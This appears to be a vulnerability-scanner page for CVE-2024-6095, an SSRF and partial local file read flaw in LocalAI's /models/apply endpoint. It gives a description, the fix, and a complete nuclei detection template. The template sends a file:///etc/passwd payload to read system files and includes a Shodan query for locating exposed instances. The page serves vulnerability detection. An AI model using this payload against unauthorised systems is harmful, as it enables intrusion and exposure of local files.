LocalAI - Partial Local File Read

mediumseverity

5.8CVSS score

2.7%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

A vulnerability in the /models/apply endpoint of mudler/localai versions 2.15.0 allows for Server-Side Request Forgery (SSRF) and partial Local File Inclusion (LFI). The endpoint supports both http(s)-// and file-// schemes, where the latter can lead to LFI. However, the output is limited due to the length of the error message. This vulnerability can be exploited by an attacker with network access to the LocalAI instance, potentially allowing unauthorized access to internal HTTP(s) servers and partial reading of local files. The issue is fixed in version 2.17.

Impact

Attackers can exploit SSRF to access internal HTTP services and partially read local files through error messages, potentially exposing sensitive information.

Fix

Update LocalAI to version 2.17 or later to address the SSRF and LFI vulnerabilities.

How to confirm it

Send: POST /models/apply
Send: GET /models/jobs/{{uuid}}
Positive when: contains ": cannot unmarshal !!str `root:x:...`" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2024-6095 -u <target>

The full check

id: CVE-2024-6095

info:
  name: LocalAI - Partial Local File Read
  author: iamnoooob,pdresearch,rootxharsh
  severity: medium
  description: |
    A vulnerability in the /models/apply endpoint of mudler/localai versions 2.15.0 allows for Server-Side Request Forgery (SSRF) and partial Local File Inclusion (LFI). The endpoint supports both http(s)-// and file-// schemes, where the latter can lead to LFI. However, the output is limited due to the length of the error message. This vulnerability can be exploited by an attacker with network access to the LocalAI instance, potentially allowing unauthorized access to internal HTTP(s) servers and partial reading of local files. The issue is fixed in version 2.17.
  impact: |
    Attackers can exploit SSRF to access internal HTTP services and partially read local files through error messages, potentially exposing sensitive information.
  remediation: |
    Update LocalAI to version 2.17 or later to address the SSRF and LFI vulnerabilities.
  reference:
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://github.com/sev-hack/sev-hack
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6095
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
    cvss-score: 5.8
    cve-id: CVE-2024-6095
    cwe-id: CWE-918
    epss-score: 0.0265
    epss-percentile: 0.85754
    cpe: cpe:2.3:a:mudler:localai:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: mudler
    product: localai
    shodan-query: http.favicon.hash:-976853304
  tags: cve,cve2024,localai,mudler,lfi,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /models/apply HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"url":"file:///etc/passwd"}

    extractors:
      - type: json
        part: body
        name: uuid
        internal: true
        json:
          - ".uuid"

  - raw:
      - |
        GET /models/jobs/{{uuid}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ': cannot unmarshal !!str `root:x:...`'

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from